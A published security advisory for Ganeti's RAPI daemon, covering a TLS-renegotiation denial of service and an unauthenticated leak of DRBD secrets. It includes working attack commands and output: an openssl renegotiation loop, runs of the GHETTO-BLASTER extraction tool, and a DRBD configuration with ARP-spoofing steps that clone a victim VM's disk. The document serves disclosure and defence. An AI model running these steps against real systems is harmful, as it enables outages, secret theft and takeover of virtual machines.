Ganeti Denial Of Service / Information Disclosure

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Hash: SHA512  
  
## Advisory Information  
  
Title: Ganeti Security Advisory (DoS, Unauthenticated Info Leak)  
Advisory URL: https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt  
Blog URL: https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html  
Date published: 2016-01-05  
Vendors contacted: Google, MITRE  
Organization contacted: Riseup  
Release mode: Released  
CVE: CVE-2015-7944, CVE-2015-7945  
CNNVD: no current CNNVD  
  
  
  
## Product Description  
  
Ganeti is a virtual machine cluster management tool developed by Google.  
The solution stack uses either Xen or KVM as the virtualization  
platform, LVM for disk management,  
and optionally DRBD for disk replication across physical hosts.  
  
  
  
## Vulnerabilities Summary  
  
Ganeti has security problems in the default install (with DRBD) and  
the default configuration due to old libraries and design problem,  
even if the security level in Ganeti seems to be high.  
  
These problems affect every versions until the last released version.  
  
The Ganeti API Daemon is open on every interface by default and an  
attacker can DoS this daemon.  
  
It is also possible to abuse this deamon to retrieve information, such  
as network topology, DRBD secrets...  
  
A PoC is provided to automaticaly retrieve sensitive information and  
a possible scenario, allowing to take over Virtual Machines remotely,  
is provided (which worked in my lab in certain conditions).  
  
  
  
## Details - CVE-2015-7944 - Unauthenticated Remote DoS  
  
Ganeti is prone to a SSL DoS with SSL renegociation against the RAPI Daemon:  
  
user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client  
-connect 10.105.1.200:5080  
CONNECTED(00000003)  
depth=0 CN = ganeti.example.com  
verify error:num=18:self signed certificate  
verify return:1  
depth=0 CN = ganeti.example.com  
verify return:1  
- ---  
Certificate chain  
0 s:/CN=ganeti.example.com  
i:/CN=ganeti.example.com  
- ---  
Server certificate  
- -----BEGIN CERTIFICATE-----  
[...]  
- -----END CERTIFICATE-----  
subject=/CN=ganeti.example.com  
issuer=/CN=ganeti.example.com  
- ---  
No client certificate CA names sent  
- ---  
SSL handshake has read 1003 bytes and written 625 bytes  
- ---  
New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384  
Server public key is 2048 bit  
Secure Renegotiation IS supported  
Compression: NONE  
Expansion: NONE  
SSL-Session:  
Protocol : TLSv1.2  
Cipher : AES256-GCM-SHA384  
Session-ID: D75BCF369143CD008D693B022B967149AF0BD420DE385C51227A1921CD29360D  
Session-ID-ctx:  
Master-Key:  
7DDD57FD479AE6555D1D42CF2B15B8857C28430189EC5C1331C75C4253E4A9F0FC0672EE2F2438CD055328C5A46C4F5F  
Key-Arg : None  
PSK identity: None  
PSK identity hint: None  
SRP username: None  
TLS session ticket lifetime hint: 300 (seconds)  
TLS session ticket:  
0000 - 10 ad 69 39 76 6c 2e 37-cf e7 c2 2c 5f f0 e0 20 ..i9vl.7...,_..  
0010 - 5d 85 5a 79 82 20 6a 1d-f1 6e 51 f5 f2 f7 c6 cf ].Zy. j..nQ.....  
0020 - c1 85 2d 42 5a 1c 53 b4-cb db de 65 04 2a 02 da ..-BZ.S....e.*..  
0030 - 5c 7d 82 ef 56 4a a4 a1-88 bd 87 fd af 25 e3 2e \}..VJ.......%..  
0040 - 28 68 04 a4 01 22 88 72-30 0b 79 1c 75 61 88 d5 (h...".r0.y.ua..  
0050 - c9 f3 e2 0b 02 50 bf c8-29 ac d9 36 f3 76 bd 8b .....P..)..6.v..  
0060 - 05 e0 d3 a9 f3 8b 8b 11-ef 19 2f 94 92 30 94 58 ........../..0.X  
0070 - aa 64 ba 3f a4 fc 15 4b-74 11 3b c3 c7 e7 d4 33 .d.?...Kt.;....3  
0080 - dd 76 e9 e1 1b 3a 95 c4-50 28 4f 9e bc cc cb f3 .v...:..P(O.....  
0090 - bf 4d 60 92 64 00 af 67-c0 e9 69 e3 98 54 21 dc .M`.d..g..i..T!.  
  
Start Time: 1438121399  
Timeout : 300 (sec)  
Verify return code: 18 (self signed certificate)  
- ---  
RENEGOTIATING  
depth=0 CN = ganeti.example.com  
verify error:num=18:self signed certificate  
verify return:1  
depth=0 CN = ganeti.example.com  
verify return:1  
RENEGOTIATING  
depth=0 CN = ganeti.example.com  
verify error:num=18:self signed certificate  
verify return:1  
depth=0 CN = ganeti.example.com  
verify return:1  
RENEGOTIATING  
depth=0 CN = ganeti.example.com  
verify error:num=18:self signed certificate  
verify return:1  
depth=0 CN = ganeti.example.com  
verify return:1  
RENEGOTIATING  
[...]  
  
  
- From my test, 1 thread takes 75% of CPU.  
  
`top` on the main server (10.105.1.200):  
19734 gnt-rapi 20 0 148980 35364 4696 R 76.8 3.7 0:04.12  
ganeti-rapi  
  
  
Multiple threads will eat all the available CPUs and will likely DoS ganeti:  
  
21280 gnt-rapi 20 0 148980 35364 4696 R 35.3 3.7 0:05.06  
ganeti-rapi  
20968 gnt-rapi 20 0 148980 35364 4696 R 33.4 3.7 0:09.92  
ganeti-rapi  
20969 gnt-rapi 20 0 148980 35364 4696 R 32.4 3.7 0:09.95  
ganeti-rapi  
21282 gnt-rapi 20 0 148980 35364 4696 R 32.4 3.7 0:04.53  
ganeti-rapi  
21281 gnt-rapi 20 0 148980 35364 4696 R 31.4 3.7 0:04.78  
ganeti-rapi  
  
  
An attacker can use tools from THC to perform SSL DoS too (openssl was  
the fastest solution out of the box):  
  
https://www.thc.org/thc-ssl-dos/  
  
  
  
## Details - CVE-2015-7945 - Unauthenticated Remote Information Disclosure  
  
This vulnerability allows an attacker to retrieve data using  
information disclosure,  
allowing him, depending on the configuration, to remotely hack VMs.  
A PoC (GHETTO-BLASTER which works in Linux (Debian, Kali) and FreeBSD)  
is provided as a base64-encoded file to this email.  
This PoC is also available here:  
https://pierrekim.github.io/advisories/GHETTO-BLASTER.  
  
  
I. Design Security Problem with the RAPI Daemon  
  
In the Ganeti master node, when using /usr/sbin/gnt-network, a  
non-root user can't get information (debian-01 is the ganeti master  
node):  
  
user@debian-01:~$ /usr/sbin/gnt-network list  
It seems you don't have permissions to connect to the master daemon.  
Please retry as a different user.  
user@debian-01:~$  
  
This is common for all gnt-tools and seems to be a security design.  
  
It appears Genati by default is too open when using the RAPI daemon  
and this daemon listens on every interface by default.  
For example, the network configuration can be extracted from jobs  
using the RAPI daemon without authentication.  
  
I wrote a tool, "GHETTO-BLASTER", to industrialize the process:  
  
user@kali:~$ ./GHETTO-BLASTER http://<ip_of_ganeti_rapi>  
  
Example:  
https://<ip>  
  
2015 Pierre Kim <[email protected]>  
@PierreKimSec https://pierrekim.github.io  
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE  
<http://www.wtfpl.net/txt/copying/>  
user@kali:~$ ./GHETTO-BLASTER http://10.105.1.200  
[...]  
[a lot of output]  
[...]  
user@kali:~$ ls -l 2-networks 2-networks-test-priv 2-networks-test-pub  
-rw-r--r-- 1 user user 228 Jun 20 13:37 2-networks  
-rw-r--r-- 1 user user 882 Jun 20 13:37 2-networks-test-priv  
-rw-r--r-- 1 user user 881 Jun 20 13:37 2-networks-test-pub  
user@kali:~$ cat 2-networks 2-networks-test-priv 2-networks-test-pub  
$VAR1 = [  
{  
'name' => 'test-priv',  
'uri' => '/2/networks/test-priv'  
},  
{  
'uri' => '/2/networks/test-pub',  
'name' => 'test-pub'  
}  
];  
$VAR1 = {  
'mtime' => '1333027652.67126',  
'gateway' => undef,  
'network6' => undef,  
'inst_list' => [],  
'mac_prefix' => undef,  
'serial_no' => 1,  
'free_count' => 254,  
'name' => 'test-priv',  
'map' =>  
'X..............................................................................................................................................................................................................................................................X',  
'gateway6' => undef,  
'external_reservations' => '192.168.1.0, 192.168.1.255',  
'uuid' => '506ad97b-2276-43f4-ae27-e6bbb97f28ff',  
'ctime' => '1333027652.67126',  
'reserved_count' => 2,  
'network' => '192.168.1.0/24',  
'group_list' => [],  
'tags' => []  
};  
$VAR1 = {  
'mac_prefix' => undef,  
'inst_list' => [],  
'network6' => undef,  
'mtime' => '1333027641.64375',  
'gateway' => undef,  
'map' =>  
'X..............................................................................................................................................................................................................................................................X',  
'free_count' => 254,  
'name' => 'test-pub',  
'serial_no' => 1,  
'reserved_count' => 2,  
'network' => '192.168.0.0/24',  
'ctime' => '1333027641.64375',  
'gateway6' => undef,  
'uuid' => '48b34199-2d23-46f0-b4aa-2539cb4a7780',  
'external_reservations' => '192.168.0.0, 192.168.0.255',  
'group_list' => [],  
'tags' => []  
};  
user@kali:~$  
  
  
It's possible to map the network and to retrieve sensible secrets.  
  
Other interesting information:  
  
osparams_secret is readable in jobs using the access to RAPI.  
  
  
II. Using this information disclosure to hack VMs:  
  
By default, /var/lib/ganeti/config.data(640, gnt-masterd:gnt-confd)  
contains the secret key for DRBD replication.  
A remote user or even a local non-root (or non gnt-masterd user) can't  
get the configuration of DRBD.  
  
This key can be extracted from jobs by abusing the RAPI daemon without  
authentication.  
  
After running GHETTO-BLASTER, you will have a lot of files:  
  
user@kali:~$ ls  
1-list-collectors 2-jobs-121 2-jobs-154  
2-jobs-187 2-jobs-219 2-jobs-251 2-jobs-284 2-jobs-47 2-jobs-8  
1-report-all 2-jobs-122 2-jobs-155  
2-jobs-188 2-jobs-22 2-jobs-252 2-jobs-285 2-jobs-48 2-jobs-80  
2-features 2-jobs-123 2-jobs-156  
2-jobs-189 2-jobs-220 2-jobs-253 2-jobs-286 2-jobs-49 2-jobs-81  
2-info 2-jobs-124 2-jobs-157  
2-jobs-19 2-jobs-221 2-jobs-254 2-jobs-287 2-jobs-5 2-jobs-82  
2-instances 2-jobs-125 2-jobs-158  
2-jobs-190 2-jobs-222 2-jobs-255 2-jobs-288 2-jobs-50 2-jobs-83  
2-instances-vm-01 2-jobs-126 2-jobs-159  
2-jobs-191 2-jobs-223 2-jobs-256 2-jobs-289 2-jobs-51 2-jobs-84  
2-instances-vm-01-info-jobs 2-jobs-127 2-jobs-16  
2-jobs-192 2-jobs-224 2-jobs-257 2-jobs-29 2-jobs-52 2-jobs-85  
2-instances-vm-02.example.com 2-jobs-128 2-jobs-160  
2-jobs-193 2-jobs-225 2-jobs-258 2-jobs-290 2-jobs-53 2-jobs-86  
2-instances-vm-02.example.com-info-jobs 2-jobs-129 2-jobs-161  
2-jobs-194 2-jobs-226 2-jobs-259 2-jobs-291 2-jobs-54 2-jobs-87  
2-jobs 2-jobs-13 2-jobs-162  
2-jobs-195 2-jobs-227 2-jobs-26 2-jobs-292 2-jobs-55 2-jobs-88  
2-jobs-0 2-jobs-130 2-jobs-163  
2-jobs-196 2-jobs-228 2-jobs-260 2-jobs-293 2-jobs-56 2-jobs-89  
2-jobs-1 2-jobs-131 2-jobs-164  
2-jobs-197 2-jobs-229 2-jobs-261 2-jobs-294 2-jobs-57 2-jobs-9  
2-jobs-10 2-jobs-132 2-jobs-165  
2-jobs-198 2-jobs-23 2-jobs-262 2-jobs-295 2-jobs-58 2-jobs-90  
2-jobs-100 2-jobs-133 2-jobs-166  
2-jobs-199 2-jobs-230 2-jobs-263 2-jobs-296 2-jobs-59 2-jobs-91  
2-jobs-101 2-jobs-134 2-jobs-167  
2-jobs-2 2-jobs-231 2-jobs-264 2-jobs-297 2-jobs-6 2-jobs-92  
2-jobs-102 2-jobs-135 2-jobs-168  
2-jobs-20 2-jobs-232 2-jobs-265 2-jobs-298 2-jobs-60 2-jobs-93  
2-jobs-103 2-jobs-136 2-jobs-169  
2-jobs-200 2-jobs-233 2-jobs-266 2-jobs-299 2-jobs-61 2-jobs-94  
2-jobs-104 2-jobs-137 2-jobs-17  
2-jobs-201 2-jobs-234 2-jobs-267 2-jobs-3 2-jobs-62 2-jobs-95  
2-jobs-105 2-jobs-138 2-jobs-170  
2-jobs-202 2-jobs-235 2-jobs-268 2-jobs-30 2-jobs-63 2-jobs-96  
2-jobs-106 2-jobs-139 2-jobs-171  
2-jobs-203 2-jobs-236 2-jobs-269 2-jobs-31 2-jobs-64 2-jobs-97  
2-jobs-107 2-jobs-14 2-jobs-172  
2-jobs-204 2-jobs-237 2-jobs-27 2-jobs-32 2-jobs-65 2-jobs-98  
2-jobs-108 2-jobs-140 2-jobs-173  
2-jobs-205 2-jobs-238 2-jobs-270 2-jobs-33 2-jobs-66 2-jobs-99  
2-jobs-109 2-jobs-141 2-jobs-174  
2-jobs-206 2-jobs-239 2-jobs-271 2-jobs-34 2-jobs-67 2-networks  
2-jobs-11 2-jobs-142 2-jobs-175  
2-jobs-207 2-jobs-24 2-jobs-272 2-jobs-35 2-jobs-68 2-nodes  
2-jobs-110 2-jobs-143 2-jobs-176  
2-jobs-208 2-jobs-240 2-jobs-273 2-jobs-36 2-jobs-69  
2-nodes-debian-01  
2-jobs-111 2-jobs-144 2-jobs-177  
2-jobs-209 2-jobs-241 2-jobs-274 2-jobs-37 2-jobs-7  
2-nodes-debian-01-role  
2-jobs-112 2-jobs-145 2-jobs-178  
2-jobs-21 2-jobs-242 2-jobs-275 2-jobs-38 2-jobs-70  
2-nodes-debian-02  
2-jobs-113 2-jobs-146 2-jobs-179  
2-jobs-210 2-jobs-243 2-jobs-276 2-jobs-39 2-jobs-71  
2-nodes-debian-02-role  
2-jobs-114 2-jobs-147 2-jobs-18  
2-jobs-211 2-jobs-244 2-jobs-277 2-jobs-4 2-jobs-72 2-os  
2-jobs-115 2-jobs-148 2-jobs-180  
2-jobs-212 2-jobs-245 2-jobs-278 2-jobs-40 2-jobs-73 version  
2-jobs-116 2-jobs-149 2-jobs-181  
2-jobs-213 2-jobs-246 2-jobs-279 2-jobs-41 2-jobs-74  
2-jobs-117 2-jobs-15 2-jobs-182  
2-jobs-214 2-jobs-247 2-jobs-28 2-jobs-42 2-jobs-75  
2-jobs-118 2-jobs-150 2-jobs-183  
2-jobs-215 2-jobs-248 2-jobs-280 2-jobs-43 2-jobs-76  
2-jobs-119 2-jobs-151 2-jobs-184  
2-jobs-216 2-jobs-249 2-jobs-281 2-jobs-44 2-jobs-77  
2-jobs-12 2-jobs-152 2-jobs-185  
2-jobs-217 2-jobs-25 2-jobs-282 2-jobs-45 2-jobs-78  
2-jobs-120 2-jobs-153 2-jobs-186  
2-jobs-218 2-jobs-250 2-jobs-283 2-jobs-46 2-jobs-79  
  
  
Files contain DRBD secrets:  
  
user@kali:~$ grep secret *|tail -n 5  
2-jobs-80:  
'secret' =>  
'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'  
2-jobs-82:  
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'  
2-jobs-84:  
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',  
2-jobs-85:  
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',  
2-jobs-86:  
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',  
user@kali:~$  
  
  
  
The key is confirmed by using `drbdsetup show` as root in the Ganeti  
master node:  
  
root@debian-01:~# drbdsetup show  
resource resource0 {  
options {  
}  
net {  
cram-hmac-alg "md5";  
shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";  
after-sb-0pri discard-zero-changes;  
after-sb-1pri consensus;  
}  
_remote_host {  
address ipv4 10.105.1.201:11000;  
}  
_this_host {  
address ipv4 10.105.1.200:11000;  
volume 0 {  
device minor 0;  
disk  
"/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";  
meta-disk  
"/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";  
disk {  
size 8388608s; # bytes  
resync-rate 61440k; # bytes/second  
}  
}  
}  
}  
root@debian-01:~#  
  
  
By digging more, one of the jobs file (2-jobs-280) contains the DRDB  
configuration:  
  
[...]  
  
'drbd_info' => {  
'port' => 11000,  
'primary_minor' => 0,  
'secondary_node' => 'debian-02',  
'secondary_minor' => 0,  
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',  
'primary_node' => 'debian-01'  
},  
[...]  
  
  
  
As stated in http://docs.ganeti.org/ganeti/current/html/security.html:  
  
DRBD connections are protected from erroneous connections to other  
machines (as may happen due to software issues), and  
from accepting connections from other machines, by using a shared  
secret, exchanged via RPC requests from the master to the nodes when  
configuring the device.  
  
  
We recovered the secret of DRBD, the port used and the nodes without  
authentication.  
Other files contain the LVM VG and the LVM LG names! It's enough to  
start playing with DRDB from an attacker side.  
  
  
  
III. DRBD Madness  
  
Now, it's time for DRBD Feng Shui!  
  
Getting the File System of a VM:  
  
o By doing ARP spoofing in the same LAN:  
  
We will impersonate 10.105.1.201 by doing ARP poisoning and using a  
valid drbd.conf thank to the parameters provided by the RAPI daemon:  
  
root@kali# cat etc-drbd.conf  
  
include "drbd.d/global_common.conf";  
include "drbd.d/*.res";  
  
resource resource0 {  
volume 0 {  
device minor 0;  
disk  
"/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";  
meta-disk  
"/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";  
}  
protocol C;  
net {  
cram-hmac-alg "md5";  
shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";  
after-sb-0pri discard-zero-changes;  
after-sb-1pri consensus;  
}  
on target {  
address 10.105.1.200:11000;  
}  
on kali {  
address 10.105.1.201:11000;  
}  
}  
  
root@kali# vgremove xenvg-vg 2>/dev/null  
root@kali# dd if=/dev/zero of=/dev/sdb bs=1024 count=1024  
root@kali# pvcreate /dev/sdb  
root@kali# vgcreate xenvg-vg /dev/sdb  
root@kali# lvcreate --name  
41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data --size 4G xenvg-vg  
root@kali# lvcreate --name  
41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta --size 128M xenvg-vg  
root@kali# cp etc-drbd.conf /etc/drbd.conf  
root@kali# drbdadm create-md resource0  
root@kali# drbdadm up resource0  
  
<ARP poisoning> || root@kali# ifconfig eth0 10.105.1.201 netmask 255.255.255.0  
  
root@kali# drbdadm attach resource0  
root@kali# drbdadm connect resource0  
root@kali# cat /proc/drbd  
version: 8.4.3 (api:1/proto:86-101)  
srcversion: 1A9F77B1CA5FF92235C2213  
0: cs:SyncTarget ro:Secondary/Primary ds:Inconsistent/UpToDate C r-----  
ns:0 nr:916568 dw:916472 dr:0 al:0 bm:55 lo:2 pe:0 ua:2 ap:0 ep:1  
wo:f oos:3277832  
[===>................] sync'ed: 22.0% (3277832/4194304)K  
finish: 0:08:33 speed: 6,368 (5,912) want: 4,520 K/sec  
root@kali# echo "wow synchronisation in progress !"  
wow synchronisation in progress !  
root@kali#  
  
After 10min of synchronisation, an attacker will have a perfect copy  
of the targeted VM File System using DRDB replication.  
  
It's also possible to write information in the File System (like  
adding SSH keys).  
Rooting VMs by adding ssh keys and by doing s/PermitRootLogin  
No/PermitRootLogin Yes/ is left as a exercise to the reader.  
  
  
o Other methods of MiTM exist and are left as a exercise for the reader.  
  
  
  
## Proposed Workarounds by the Security Researcher  
  
At first, I think these steps must be done to improve the security of ganeti:  
  
1/ Forcing the RAPI to listen to 127.0.0.1 instead of 0.0.0.0.  
  
This can be done by adding by default to /etc/default/ganeti:  
  
RAPI_ARGS="-b 127.0.0.1"  
  
Listening to 127.0.0.1 for ganeti-mond is a good step too (it  
listens to 0.0.0.0:1815/tcp)  
  
  
2/ Adding an authentication by default for the RAPI daemon (not only  
for writing access but for reading access too)  
  
  
3/ Filtering the output of the jobs to avoid leaking secrets.  
  
Note that the immediate step is to change the secrets used for DRBD and  
to be sure nobody had access to the DRBD blocks, allowing a  
compromise of all the VMs.  
  
4/ Disabling SSL renegociation and updating the default ciphers.  
  
  
A personal note: as deploying a working Ganeti platform is very complicated,  
attackers will likely giving up before having a working Ganeti  
platform to study :)  
  
  
  
## Vendor Response  
  
Update to the latest version of Ganeti.  
  
Read details about mitigation measures here:  
https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg  
  
  
  
## Report Timeline  
  
* Jul 30, 2015 : Pierre Kim sends an email to [email protected]  
asking for a GPG key, email bounced  
* Jul 30, 2015 : Pierre Kim asks Google Security Team if Ganeti is  
elligible to the Google Vulnerability Reward Program  
* Jul 30, 2015 : Pierre Kim sends an email to Ganeti Team for a  
working security contact  
* Jul 30, 2015 : Guido Trotter replies by saying to use  
[email protected]  
* Aug 1, 2015: [email protected] confirms it's out of scope  
* Aug 4, 2015: Pierre Kim says the exploits are critical and Ganeti  
is widely used by Google  
* Aug 11, 2015: Advisories and PoC sent to Google Security Team and  
Pierre Kim asks Google Security Team to contact Riseup, as they are  
using Ganeti  
* Aug 12, 2015: Google Security Team transmitted the information to Ganeti Team  
* Aug 20, 2015: Google Security Team is working on the scope and the  
impact of the report  
* Aug 27, 2015: Google Security Team decided is not within scope of  
the VRP program but a research grant is awarded as "Security  
improvement efficacy research"  
* Aug 28, 2015: Pierre Kims provides information about DRBDv8,  
DRBDv9. Pierre Kim asks information about the DoS, the condition for  
the rewards and asks if Riseup was contacted  
* Sep 10, 2015: Google Security Team confirms they will not contact  
Riseup and that they ask "that you act and communicate in good faith,  
use your own best judgement, and we'll do everything we can to work  
with you to resolve vulnerabilities in a reasonable timeframe"  
* Oct 6, 2015: Pierre Kim asks for update about the security patchs  
and informs he will contact Riseup  
* Oct 6, 2015: Riseup is contacted  
* Oct 16, 2015: Google Security Team confirm releases end of October  
and asks about CVEs from MITRE. The Ganeti Bug #1135 is created  
* Oct 17, 2015: Pierre Kim asks Google to ask MITRE CVE assignments  
and proposes to contact CNNVD to get a CNNVD entry  
* Oct 17, 2015: Google Security Team contacted MITRE to get CVEs  
* Oct 23, 2015: Google Security Team has 2 CVE: CVE-2015-7944 and CVE-2015-7945  
* Nov 3, 2015: Pierre Kim informs new security with a DoS with the  
jobs creation  
* Nov 5, 2015: Ganeti Team has rate-limit to 20 concurrent jobs  
creation, which limit the problems and declares the patch will be very  
soon  
* Nov 17, 2015: Ganeti Team announces new releases next week  
* Nov 23, 2015: a pre-advisory is sent to Ganeti Team and Google Security Team  
* Dec 30, 2015: Ganeti Team releases a security advisory  
* Jan 05, 2015: A public advisory is sent to security mailing lists  
  
  
  
## Credit  
  
These vulnerabilities were found by Pierre Kim (@PierreKimSec).  
  
  
  
## Greetings  
  
Big thanks to my friends Alexandre Torres, Jordan, Jerome and Stephen.  
  
Thanks to Google Security Team which coordinated the issues by  
contacting MITRE and the different parties.  
  
  
  
## References  
  
https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt  
https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html  
http://www.ocert.org/advisories/ocert-2015-012.html  
https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg  
  
  
  
## PoC - GHETTO-BLASTER  
  
  
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%*3L*?0H`  
`  
end  
  
  
## Disclaimer  
  
This advisory is licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/  
  
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-----END PGP SIGNATURE-----  
  
--   
Pierre Kim  
[email protected]  
@PierreKimSec  
`